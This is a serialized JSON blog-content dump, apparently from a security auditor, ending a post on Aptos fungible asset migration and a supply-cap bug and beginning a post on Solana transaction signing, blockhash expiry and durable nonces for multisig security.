CoinConversionMap",{"type":20,"tag":315,"props":65148,"children":65149},{"style":328},[65150],{"type":26,"value":44},{"type":20,"tag":315,"props":65152,"children":65153},{"style":322},[65154],{"type":26,"value":5108},{"type":20,"tag":315,"props":65156,"children":65157},{"style":328},[65158],{"type":26,"value":1092},{"type":20,"tag":315,"props":65160,"children":65161},{"class":317,"line":374},[65162,65166,65171,65175,65180,65184,65188],{"type":20,"tag":315,"props":65163,"children":65164},{"style":541},[65165],{"type":26,"value":1380},{"type":20,"tag":315,"props":65167,"children":65168},{"style":635},[65169],{"type":26,"value":65170}," metadata",{"type":20,"tag":315,"props":65172,"children":65173},{"style":334},[65174],{"type":26,"value":1395},{"type":20,"tag":315,"props":65176,"children":65177},{"style":635},[65178],{"type":26,"value":65179}," ensure_paired_metadata",{"type":20,"tag":315,"props":65181,"children":65182},{"style":328},[65183],{"type":26,"value":4199},{"type":20,"tag":315,"props":65185,"children":65186},{"style":322},[65187],{"type":26,"value":4978},{"type":20,"tag":315,"props":65189,"children":65190},{"style":328},[65191],{"type":26,"value":6848},{"type":20,"tag":315,"props":65193,"children":65194},{"class":317,"line":383},[65195,65199,65204,65208,65213,65217,65221],{"type":20,"tag":315,"props":65196,"children":65197},{"style":541},[65198],{"type":26,"value":1380},{"type":20,"tag":315,"props":65200,"children":65201},{"style":635},[65202],{"type":26,"value":65203}," amount",{"type":20,"tag":315,"props":65205,"children":65206},{"style":334},[65207],{"type":26,"value":1395},{"type":20,"tag":315,"props":65209,"children":65210},{"style":345},[65211],{"type":26,"value":65212}," burn_internal",{"type":20,"tag":315,"props":65214,"children":65215},{"style":328},[65216],{"type":26,"value":1049},{"type":20,"tag":315,"props":65218,"children":65219},{"style":635},[65220],{"type":26,"value":59187},{"type":20,"tag":315,"props":65222,"children":65223},{"style":328},[65224],{"type":26,"value":2214},{"type":20,"tag":315,"props":65226,"children":65227},{"class":317,"line":407},[65228,65232,65236,65241,65245,65249,65253,65257],{"type":20,"tag":315,"props":65229,"children":65230},{"style":328},[65231],{"type":26,"value":64215},{"type":20,"tag":315,"props":65233,"children":65234},{"style":334},[65235],{"type":26,"value":1861},{"type":20,"tag":315,"props":65237,"children":65238},{"style":345},[65239],{"type":26,"value":65240},"mint_internal",{"type":20,"tag":315,"props":65242,"children":65243},{"style":328},[65244],{"type":26,"value":1049},{"type":20,"tag":315,"props":65246,"children":65247},{"style":635},[65248],{"type":26,"value":60566},{"type":20,"tag":315,"props":65250,"children":65251},{"style":328},[65252],{"type":26,"value":44},{"type":20,"tag":315,"props":65254,"children":65255},{"style":635},[65256],{"type":26,"value":18710},{"type":20,"tag":315,"props":65258,"children":65259},{"style":328},[65260],{"type":26,"value":380},{"type":20,"tag":315,"props":65262,"children":65263},{"class":317,"line":421},[65264],{"type":20,"tag":315,"props":65265,"children":65266},{"style":328},[65267],{"type":26,"value":577},{"type":20,"tag":29,"props":65269,"children":65270},{},[65271,65273,65280],{"type":26,"value":65272},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":20,"tag":35,"props":65274,"children":65277},{"href":65275,"rel":65276},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[39],[65278],{"type":26,"value":65279},"noticed an overlooked detail",{"type":26,"value":65281}," in the linking process.",{"type":20,"tag":305,"props":65283,"children":65285},{"className":1360,"code":65284,"language":1359,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n &metadata_object_cref,\n option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n name\u003CCoinType>(),\n symbol\u003CCoinType>(),\n decimals\u003CCoinType>(),\n string::utf8(b\"\"),\n string::utf8(b\"\"),\n);\n[...]\n",[65286],{"type":20,"tag":119,"props":65287,"children":65288},{"__ignoreMap":7},[65289,65304,65324,65341,65397,65418,65438,65458,65488,65515,65522],{"type":20,"tag":315,"props":65290,"children":65291},{"class":317,"line":318},[65292,65296,65300],{"type":20,"tag":315,"props":65293,"children":65294},{"style":328},[65295],{"type":26,"value":2117},{"type":20,"tag":315,"props":65297,"children":65298},{"style":334},[65299],{"type":26,"value":7990},{"type":20,"tag":315,"props":65301,"children":65302},{"style":328},[65303],{"type":26,"value":10173},{"type":20,"tag":315,"props":65305,"children":65306},{"class":317,"line":356},[65307,65311,65315,65320],{"type":20,"tag":315,"props":65308,"children":65309},{"style":328},[65310],{"type":26,"value":60863},{"type":20,"tag":315,"props":65312,"children":65313},{"style":334},[65314],{"type":26,"value":1861},{"type":20,"tag":315,"props":65316,"children":65317},{"style":345},[65318],{"type":26,"value":65319},"create_primary_store_enabled_fungible_asset",{"type":20,"tag":315,"props":65321,"children":65322},{"style":328},[65323],{"type":26,"value":353},{"type":20,"tag":315,"props":65325,"children":65326},{"class":317,"line":365},[65327,65332,65337],{"type":20,"tag":315,"props":65328,"children":65329},{"style":334},[65330],{"type":26,"value":65331}," &",{"type":20,"tag":315,"props":65333,"children":65334},{"style":635},[65335],{"type":26,"value":65336},"metadata_object_cref",{"type":20,"tag":315,"props":65338,"children":65339},{"style":328},[65340],{"type":26,"value":643},{"type":20,"tag":315,"props":65342,"children":65343},{"class":317,"line":374},[65344,65349,65353,65358,65362,65367,65371,65375,65380,65384,65388,65392],{"type":20,"tag":315,"props":65345,"children":65346},{"style":328},[65347],{"type":26,"value":65348}," option",{"type":20,"tag":315,"props":65350,"children":65351},{"style":334},[65352],{"type":26,"value":1861},{"type":20,"tag":315,"props":65354,"children":65355},{"style":345},[65356],{"type":26,"value":65357},"map",{"type":20,"tag":315,"props":65359,"children":65360},{"style":328},[65361],{"type":26,"value":1049},{"type":20,"tag":315,"props":65363,"children":65364},{"style":635},[65365],{"type":26,"value":65366},"coin_supply",{"type":20,"tag":315,"props":65368,"children":65369},{"style":328},[65370],{"type":26,"value":4199},{"type":20,"tag":315,"props":65372,"children":65373},{"style":322},[65374],{"type":26,"value":4978},{"type":20,"tag":315,"props":65376,"children":65377},{"style":328},[65378],{"type":26,"value":65379},">(), ",{"type":20,"tag":315,"props":65381,"children":65382},{"style":334},[65383],{"type":26,"value":8816},{"type":20,"tag":315,"props":65385,"children":65386},{"style":635},[65387],{"type":26,"value":1463},{"type":20,"tag":315,"props":65389,"children":65390},{"style":334},[65391],{"type":26,"value":8816},{"type":20,"tag":315,"props":65393,"children":65394},{"style":328},[65395],{"type":26,"value":65396}," MAX_U128),\n",{"type":20,"tag":315,"props":65398,"children":65399},{"class":317,"line":383},[65400,65405,65409,65413],{"type":20,"tag":315,"props":65401,"children":65402},{"style":635},[65403],{"type":26,"value":65404}," name",{"type":20,"tag":315,"props":65406,"children":65407},{"style":328},[65408],{"type":26,"value":4199},{"type":20,"tag":315,"props":65410,"children":65411},{"style":322},[65412],{"type":26,"value":4978},{"type":20,"tag":315,"props":65414,"children":65415},{"style":328},[65416],{"type":26,"value":65417},">(),\n",{"type":20,"tag":315,"props":65419,"children":65420},{"class":317,"line":407},[65421,65426,65430,65434],{"type":20,"tag":315,"props":65422,"children":65423},{"style":635},[65424],{"type":26,"value":65425}," symbol",{"type":20,"tag":315,"props":65427,"children":65428},{"style":328},[65429],{"type":26,"value":4199},{"type":20,"tag":315,"props":65431,"children":65432},{"style":322},[65433],{"type":26,"value":4978},{"type":20,"tag":315,"props":65435,"children":65436},{"style":328},[65437],{"type":26,"value":65417},{"type":20,"tag":315,"props":65439,"children":65440},{"class":317,"line":421},[65441,65446,65450,65454],{"type":20,"tag":315,"props":65442,"children":65443},{"style":635},[65444],{"type":26,"value":65445}," decimals",{"type":20,"tag":315,"props":65447,"children":65448},{"style":328},[65449],{"type":26,"value":4199},{"type":20,"tag":315,"props":65451,"children":65452},{"style":322},[65453],{"type":26,"value":4978},{"type":20,"tag":315,"props":65455,"children":65456},{"style":328},[65457],{"type":26,"value":65417},{"type":20,"tag":315,"props":65459,"children":65460},{"class":317,"line":430},[65461,65466,65470,65475,65479,65484],{"type":20,"tag":315,"props":65462,"children":65463},{"style":328},[65464],{"type":26,"value":65465}," string",{"type":20,"tag":315,"props":65467,"children":65468},{"style":334},[65469],{"type":26,"value":1861},{"type":20,"tag":315,"props":65471,"children":65472},{"style":345},[65473],{"type":26,"value":65474},"utf8",{"type":20,"tag":315,"props":65476,"children":65477},{"style":328},[65478],{"type":26,"value":1049},{"type":20,"tag":315,"props":65480,"children":65481},{"style":2652},[65482],{"type":26,"value":65483},"b\"\"",{"type":20,"tag":315,"props":65485,"children":65486},{"style":328},[65487],{"type":26,"value":5131},{"type":20,"tag":315,"props":65489,"children":65490},{"class":317,"line":453},[65491,65495,65499,65503,65507,65511],{"type":20,"tag":315,"props":65492,"children":65493},{"style":328},[65494],{"type":26,"value":65465},{"type":20,"tag":315,"props":65496,"children":65497},{"style":334},[65498],{"type":26,"value":1861},{"type":20,"tag":315,"props":65500,"children":65501},{"style":345},[65502],{"type":26,"value":65474},{"type":20,"tag":315,"props":65504,"children":65505},{"style":328},[65506],{"type":26,"value":1049},{"type":20,"tag":315,"props":65508,"children":65509},{"style":2652},[65510],{"type":26,"value":65483},{"type":20,"tag":315,"props":65512,"children":65513},{"style":328},[65514],{"type":26,"value":5131},{"type":20,"tag":315,"props":65516,"children":65517},{"class":317,"line":486},[65518],{"type":20,"tag":315,"props":65519,"children":65520},{"style":328},[65521],{"type":26,"value":2214},{"type":20,"tag":315,"props":65523,"children":65524},{"class":317,"line":499},[65525,65529,65533],{"type":20,"tag":315,"props":65526,"children":65527},{"style":328},[65528],{"type":26,"value":2117},{"type":20,"tag":315,"props":65530,"children":65531},{"style":334},[65532],{"type":26,"value":7990},{"type":20,"tag":315,"props":65534,"children":65535},{"style":328},[65536],{"type":26,"value":10173},{"type":20,"tag":29,"props":65538,"children":65539},{},[65540,65542,65547],{"type":26,"value":65541},"When the linked fungible asset was created, the current ",{"type":20,"tag":119,"props":65543,"children":65545},{"className":65544},[],[65546],{"type":26,"value":59220},{"type":26,"value":65548}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":20,"tag":29,"props":65550,"children":65551},{},[65552,65554,65559,65561,65567,65569,65574],{"type":26,"value":65553},"Users can manually migrate their ",{"type":20,"tag":119,"props":65555,"children":65557},{"className":65556},[],[65558],{"type":26,"value":59382},{"type":26,"value":65560}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":20,"tag":119,"props":65562,"children":65564},{"className":65563},[],[65565],{"type":26,"value":65566},"\u003CCoinStore\u003CCoinType>>",{"type":26,"value":65568}," from the caller. All coins in the ",{"type":20,"tag":119,"props":65570,"children":65572},{"className":65571},[],[65573],{"type":26,"value":59382},{"type":26,"value":65575}," are exchanged and transferred to the new store during the migration.",{"type":20,"tag":305,"props":65577,"children":65579},{"className":1360,"code":65578,"language":1359,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[65580],{"type":20,"tag":119,"props":65581,"children":65582},{"__ignoreMap":7},[65583,65591,65623,65643,65679,65720],{"type":20,"tag":315,"props":65584,"children":65585},{"class":317,"line":318},[65586],{"type":20,"tag":315,"props":65587,"children":65588},{"style":1071},[65589],{"type":26,"value":65590},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":20,"tag":315,"props":65592,"children":65593},{"class":317,"line":356},[65594,65598,65602,65606,65611,65615,65619],{"type":20,"tag":315,"props":65595,"children":65596},{"style":635},[65597],{"type":26,"value":59929},{"type":20,"tag":315,"props":65599,"children":65600},{"style":635},[65601],{"type":26,"value":60896},{"type":20,"tag":315,"props":65603,"children":65604},{"style":635},[65605],{"type":26,"value":4601},{"type":20,"tag":315,"props":65607,"children":65608},{"style":635},[65609],{"type":26,"value":65610}," migrate_to_fungible_store",{"type":20,"tag":315,"props":65612,"children":65613},{"style":328},[65614],{"type":26,"value":4199},{"type":20,"tag":315,"props":65616,"children":65617},{"style":322},[65618],{"type":26,"value":4978},{"type":20,"tag":315,"props":65620,"children":65621},{"style":328},[65622],{"type":26,"value":4983},{"type":20,"tag":315,"props":65624,"children":65625},{"class":317,"line":365},[65626,65630,65634,65638],{"type":20,"tag":315,"props":65627,"children":65628},{"style":635},[65629],{"type":26,"value":23587},{"type":20,"tag":315,"props":65631,"children":65632},{"style":334},[65633],{"type":26,"value":2884},{"type":20,"tag":315,"props":65635,"children":65636},{"style":334},[65637],{"type":26,"value":5536},{"type":20,"tag":315,"props":65639,"children":65640},{"style":635},[65641],{"type":26,"value":65642},"signer\n",{"type":20,"tag":315,"props":65644,"children":65645},{"class":317,"line":374},[65646,65650,65654,65658,65662,65667,65671,65675],{"type":20,"tag":315,"props":65647,"children":65648},{"style":328},[65649],{"type":26,"value":1468},{"type":20,"tag":315,"props":65651,"children":65652},{"style":635},[65653],{"type":26,"value":4738},{"type":20,"tag":315,"props":65655,"children":65656},{"style":322},[65657],{"type":26,"value":59403},{"type":20,"tag":315,"props":65659,"children":65660},{"style":328},[65661],{"type":26,"value":44},{"type":20,"tag":315,"props":65663,"children":65664},{"style":322},[65665],{"type":26,"value":65666},"CoinConversionMap",{"type":20,"tag":315,"props":65668,"children":65669},{"style":328},[65670],{"type":26,"value":44},{"type":20,"tag":315,"props":65672,"children":65673},{"style":322},[65674],{"type":26,"value":5108},{"type":20,"tag":315,"props":65676,"children":65677},{"style":328},[65678],{"type":26,"value":1092},{"type":20,"tag":315,"props":65680,"children":65681},{"class":317,"line":383},[65682,65687,65691,65695,65700,65704,65708,65712,65716],{"type":20,"tag":315,"props":65683,"children":65684},{"style":635},[65685],{"type":26,"value":65686}," maybe_convert_to_fungible_store",{"type":20,"tag":315,"props":65688,"children":65689},{"style":328},[65690],{"type":26,"value":4199},{"type":20,"tag":315,"props":65692,"children":65693},{"style":322},[65694],{"type":26,"value":4978},{"type":20,"tag":315,"props":65696,"children":65697},{"style":328},[65698],{"type":26,"value":65699},">(signer",{"type":20,"tag":315,"props":65701,"children":65702},{"style":334},[65703],{"type":26,"value":1861},{"type":20,"tag":315,"props":65705,"children":65706},{"style":345},[65707],{"type":26,"value":5604},{"type":20,"tag":315,"props":65709,"children":65710},{"style":328},[65711],{"type":26,"value":1049},{"type":20,"tag":315,"props":65713,"children":65714},{"style":635},[65715],{"type":26,"value":11353},{"type":20,"tag":315,"props":65717,"children":65718},{"style":328},[65719],{"type":26,"value":5618},{"type":20,"tag":315,"props":65721,"children":65722},{"class":317,"line":407},[65723],{"type":20,"tag":315,"props":65724,"children":65725},{"style":328},[65726],{"type":26,"value":577},{"type":20,"tag":29,"props":65728,"children":65729},{},[65730,65732,65737,65739,65744],{"type":26,"value":65731},"A curious reader might wonder about the fate of the ",{"type":20,"tag":119,"props":65733,"children":65735},{"className":65734},[],[65736],{"type":26,"value":59382},{"type":26,"value":65738}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":20,"tag":119,"props":65740,"children":65742},{"className":65741},[],[65743],{"type":26,"value":59382},{"type":26,"value":65745}," to ensure consistency.",{"type":20,"tag":64440,"props":65747,"children":65748},{},[65749,65768],{"type":20,"tag":29,"props":65750,"children":65751},{},[65752,65754,65759,65761,65766],{"type":26,"value":65753},"Could an attacker convert their ",{"type":20,"tag":119,"props":65755,"children":65757},{"className":65756},[],[65758],{"type":26,"value":59382},{"type":26,"value":65760}," to a primary fungible store and then register another ",{"type":20,"tag":119,"props":65762,"children":65764},{"className":65763},[],[65765],{"type":26,"value":59382},{"type":26,"value":65767}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":20,"tag":64471,"props":65769,"children":65770},{"v-slot:answer-0":7},[65771],{"type":20,"tag":29,"props":65772,"children":65773},{},[65774],{"type":26,"value":65775},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":20,"tag":21,"props":65777,"children":65778},{"id":1211},[65779],{"type":26,"value":1214},{"type":20,"tag":29,"props":65781,"children":65782},{},[65783,65785,65790],{"type":26,"value":65784},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":20,"tag":119,"props":65786,"children":65788},{"className":65787},[],[65789],{"type":26,"value":59220},{"type":26,"value":61},{"type":20,"tag":29,"props":65792,"children":65793},{},[65794],{"type":26,"value":65795},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":20,"tag":29,"props":65797,"children":65798},{},[65799,65801],{"type":26,"value":65800},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":20,"tag":13875,"props":65802,"children":65803},{},[65804],{"type":20,"tag":35,"props":65805,"children":65807},{"href":28039,"ariaDescribedBy":65806,"dataFootnoteRef":7,"id":28041},[13882],[65808],{"type":26,"value":2406},{"type":20,"tag":16825,"props":65810,"children":65812},{"className":65811,"dataFootnotes":7},[16828],[65813,65818],{"type":20,"tag":21,"props":65814,"children":65816},{"className":65815,"id":13882},[16833],[65817],{"type":26,"value":16836},{"type":20,"tag":68,"props":65819,"children":65820},{},[65821],{"type":20,"tag":72,"props":65822,"children":65823},{"id":28781},[65824,65826,65868],{"type":26,"value":65825},"There are at least four functions that can withdraw a fungible asset:",{"type":20,"tag":15089,"props":65827,"children":65828},{},[65829,65839,65848,65858],{"type":20,"tag":72,"props":65830,"children":65831},{},[65832],{"type":20,"tag":35,"props":65833,"children":65837},{"href":65834,"rel":65835,":style":65836},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[39],"color: #007bff;",[65838],{"type":26,"value":62521},{"type":20,"tag":72,"props":65840,"children":65841},{},[65842],{"type":20,"tag":35,"props":65843,"children":65846},{"href":65844,"rel":65845,":style":65836},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[39],[65847],{"type":26,"value":64461},{"type":20,"tag":72,"props":65849,"children":65850},{},[65851],{"type":20,"tag":35,"props":65852,"children":65855},{"href":65853,"rel":65854,":style":65836},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[39],[65856],{"type":26,"value":65857},"primary_fungible_store::withdraw",{"type":20,"tag":72,"props":65859,"children":65860},{},[65861],{"type":20,"tag":35,"props":65862,"children":65865},{"href":65863,"rel":65864,":style":65836},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[39],[65866],{"type":26,"value":65867},"coin::withdraw",{"type":20,"tag":35,"props":65869,"children":65871},{"href":28809,"ariaLabel":16939,"className":65870,"dataFootnoteBackref":7},[16941],[65872],{"type":26,"value":16944},{"type":20,"tag":1226,"props":65874,"children":65875},{},[65876],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":65878},[65879,65880,65881,65884,65889,65890,65891,65892],{"id":59206,"depth":356,"text":59209},{"id":59751,"depth":356,"text":59754},{"id":60311,"depth":356,"text":60314,"children":65882},[65883],{"id":60822,"depth":365,"text":60825},{"id":61079,"depth":356,"text":61082,"children":65885},[65886,65887,65888],{"id":61122,"depth":365,"text":61125},{"id":61827,"depth":365,"text":61830},{"id":63485,"depth":365,"text":63488},{"id":64016,"depth":356,"text":64019},{"id":64997,"depth":356,"text":65000},{"id":1211,"depth":356,"text":1214},{"id":13882,"depth":356,"text":16836},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":65897,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":65898,"description":65899,"date":65900,"author":11,"image":65901,"isFeatured":15,"onBlogPage":15,"tags":65903,"body":65904,"_type":1242,"_id":67732,"_source":1244,"_file":67733,"_stem":67734,"_extension":1247},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":65902,"width":3778,"height":3779},"/posts/multisig-security/title.png",[1259],{"type":17,"children":65905,"toc":67723},[65906,65919,65925,65930,65936,65949,65957,65970,66030,66052,66179,66184,66197,66209,66215,66229,66242,66256,66738,66743,66751,66765,66779,66918,66930,66936,66941,66959,66964,66969,66990,67274,67289,67477,67490,67619,67624,67629,67634,67662,67668,67673,67687,67719],{"type":20,"tag":29,"props":65907,"children":65908},{},[65909,65910,65917],{"type":26,"value":15015},{"type":20,"tag":35,"props":65911,"children":65914},{"href":65912,"rel":65913},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[39],[65915],{"type":26,"value":65916},"Bybit hack",{"type":26,"value":65918}," raises an interesting question: what can teams do if their signers are compromised?",{"type":20,"tag":21,"props":65920,"children":65922},{"id":65921},"solana-signatures",[65923],{"type":26,"value":65924},"Solana Signatures",{"type":20,"tag":29,"props":65926,"children":65927},{},[65928],{"type":26,"value":65929},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":20,"tag":219,"props":65931,"children":65933},{"id":65932},"recent-blockhash",[65934],{"type":26,"value":65935},"Recent Blockhash",{"type":20,"tag":29,"props":65937,"children":65938},{},[65939,65941,65948],{"type":26,"value":65940},"The most straightforward is with a \"recent blockhash\". From ",{"type":20,"tag":35,"props":65942,"children":65945},{"href":65943,"rel":65944},"https://solana.com/developers/guides/advanced/confirmation",[39],[65946],{"type":26,"value":65947},"the docs",{"type":26,"value":2884},{"type":20,"tag":1312,"props":65950,"children":65951},{},[65952],{"type":20,"tag":29,"props":65953,"children":65954},{},[65955],{"type":26,"value":65956},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":20,"tag":29,"props":65958,"children":65959},{},[65960,65962,65969],{"type":26,"value":65961},"The actual constant ",{"type":20,"tag":35,"props":65963,"children":65966},{"href":65964,"rel":65965},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[39],[65967],{"type":26,"value":65968},"is defined here",{"type":26,"value":61},{"type":20,"tag":305,"props":65971,"children":65973},{"className":1360,"code":65972,"language":1359,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[65974],{"type":20,"tag":119,"props":65975,"children":65976},{"__ignoreMap":7},[65977,65985],{"type":20,"tag":315,"props":65978,"children":65979},{"class":317,"line":318},[65980],{"type":20,"tag":315,"props":65981,"children":65982},{"style":1071},[65983],{"type":26,"value":65984},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":20,"tag":315,"props":65986,"children":65987},{"class":317,"line":356},[65988,65992,65996,66001,66005,66009,66013,66018,66022,66026],{"type":20,"tag":315,"props":65989,"children":65990},{"style":541},[65991],{"type":26,"value":12091},{"type":20,"tag":315,"props":65993,"children":65994},{"style":541},[65995],{"type":26,"value":37527},{"type":20,"tag":315,"props":65997,"children":65998},{"style":328},[65999],{"type":26,"value":66000}," MAX_PROCESSING_AGE",{"type":20,"tag":315,"props":66002,"children":66003},{"style":334},[66004],{"type":26,"value":2884},{"type":20,"tag":315,"props":66006,"children":66007},{"style":322},[66008],{"type":26,"value":12132},{"type":20,"tag":315,"props":66010,"children":66011},{"style":334},[66012],{"type":26,"value":1395},{"type":20,"tag":315,"props":66014,"children":66015},{"style":328},[66016],{"type":26,"value":66017}," MAX_RECENT_BLOCKHASHES ",{"type":20,"tag":315,"props":66019,"children":66020},{"style":334},[66021],{"type":26,"value":786},{"type":20,"tag":315,"props":66023,"children":66024},{"style":765},[66025],{"type":26,"value":6330},{"type":20,"tag":315,"props":66027,"children":66028},{"style":328},[66029],{"type":26,"value":1405},{"type":20,"tag":29,"props":66031,"children":66032},{},[66033,66035,66042,66044,66050],{"type":26,"value":66034},"For those curious, the logic ",{"type":20,"tag":35,"props":66036,"children":66039},{"href":66037,"rel":66038},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[39],[66040],{"type":26,"value":66041},"starts here",{"type":26,"value":66043}," and is quite straightforward to follow, ending in a ",{"type":20,"tag":119,"props":66045,"children":66047},{"className":66046},[],[66048],{"type":26,"value":66049},"is_hash_index_valid",{"type":26,"value":66051}," check.",{"type":20,"tag":305,"props":66053,"children":66055},{"className":1360,"code":66054,"language":1359,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n last_hash_index - hash_index \u003C= max_age as u64\n}\n",[66056],{"type":20,"tag":119,"props":66057,"children":66058},{"__ignoreMap":7},[66059,66138,66172],{"type":20,"tag":315,"props":66060,"children":66061},{"class":317,"line":318},[66062,66066,66071,66075,66080,66084,66088,66092,66097,66101,66105,66109,66114,66118,66122,66126,66130,66134],{"type":20,"tag":315,"props":66063,"children":66064},{"style":541},[66065],{"type":26,"value":18670},{"type":20,"tag":315,"props":66067,"children":66068},{"style":345},[66069],{"type":26,"value":66070}," is_hash_index_valid",{"type":20,"tag":315,"props":66072,"children":66073},{"style":328},[66074],{"type":26,"value":1049},{"type":20,"tag":315,"props":66076,"children":66077},{"style":635},[66078],{"type":26,"value":66079},"last_hash_index",{"type":20,"tag":315,"props":66081,"children":66082},{"style":334},[66083],{"type":26,"value":2884},{"type":20,"tag":315,"props":66085,"children":66086},{"style":322},[66087],{"type":26,"value":4253},{"type":20,"tag":315,"props":66089,"children":66090},{"style":328},[66091],{"type":26,"value":44},{"type":20,"tag":315,"props":66093,"children":66094},{"style":635},[66095],{"type":26,"value":66096},"max_age",{"type":20,"tag":315,"props":66098,"children":66099},{"style":334},[66100],{"type":26,"value":2884},{"type":20,"tag":315,"props":66102,"children":66103},{"style":322},[66104],{"type":26,"value":12132},{"type":20,"tag":315,"props":66106,"children":66107},{"style":328},[66108],{"type":26,"value":44},{"type":20,"tag":315,"props":66110,"children":66111},{"style":635},[66112],{"type":26,"value":66113},"hash_index",{"type":20,"tag":315,"props":66115,"children":66116},{"style":334},[66117],{"type":26,"value":2884},{"type":20,"tag":315,"props":66119,"children":66120},{"style":322},[66121],{"type":26,"value":4253},{"type":20,"tag":315,"props":66123,"children":66124},{"style":328},[66125],{"type":26,"value":1468},{"type":20,"tag":315,"props":66127,"children":66128},{"style":334},[66129],{"type":26,"value":12158},{"type":20,"tag":315,"props":66131,"children":66132},{"style":322},[66133],{"type":26,"value":10451},{"type":20,"tag":315,"props":66135,"children":66136},{"style":328},[66137],{"type":26,"value":1092},{"type":20,"tag":315,"props":66139,"children":66140},{"class":317,"line":356},[66141,66146,66150,66155,66159,66164,66168],{"type":20,"tag":315,"props":66142,"children":66143},{"style":635},[66144],{"type":26,"value":66145}," last_hash_index",{"type":20,"tag":315,"props":66147,"children":66148},{"style":334},[66149],{"type":26,"value":49507},{"type":20,"tag":315,"props":66151,"children":66152},{"style":635},[66153],{"type":26,"value":66154}," hash_index",{"type":20,"tag":315,"props":66156,"children":66157},{"style":334},[66158],{"type":26,"value":6593},{"type":20,"tag":315,"props":66160,"children":66161},{"style":635},[66162],{"type":26,"value":66163}," max_age",{"type":20,"tag":315,"props":66165,"children":66166},{"style":541},[66167],{"type":26,"value":7224},{"type":20,"tag":315,"props":66169,"children":66170},{"style":322},[66171],{"type":26,"value":11597},{"type":20,"tag":315,"props":66173,"children":66174},{"class":317,"line":365},[66175],{"type":20,"tag":315,"props":66176,"children":66177},{"style":328},[66178],{"type":26,"value":577},{"type":20,"tag":29,"props":66180,"children":66181},{},[66182],{"type":26,"value":66183},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":20,"tag":1312,"props":66185,"children":66186},{},[66187],{"type":20,"tag":29,"props":66188,"children":66189},{},[66190,66192],{"type":26,"value":66191},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":20,"tag":3717,"props":66193,"children":66194},{},[66195],{"type":26,"value":66196},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":20,"tag":29,"props":66198,"children":66199},{},[66200,66202,66207],{"type":26,"value":66201},"This means an attacker ",{"type":20,"tag":55,"props":66203,"children":66204},{},[66205],{"type":26,"value":66206},"must use",{"type":26,"value":66208}," a malicious signed transaction within a short timeframe.",{"type":20,"tag":219,"props":66210,"children":66212},{"id":66211},"durable-nonce",[66213],{"type":26,"value":66214},"Durable Nonce",{"type":20,"tag":29,"props":66216,"children":66217},{},[66218,66220,66227],{"type":26,"value":66219},"The second type of signature ",{"type":20,"tag":35,"props":66221,"children":66224},{"href":66222,"rel":66223},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[39],[66225],{"type":26,"value":66226},"is a durable nonce",{"type":26,"value":66228},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":20,"tag":1312,"props":66230,"children":66231},{},[66232],{"type":20,"tag":29,"props":66233,"children":66234},{},[66235,66237],{"type":26,"value":66236},"durable nonces provide an opportunity to 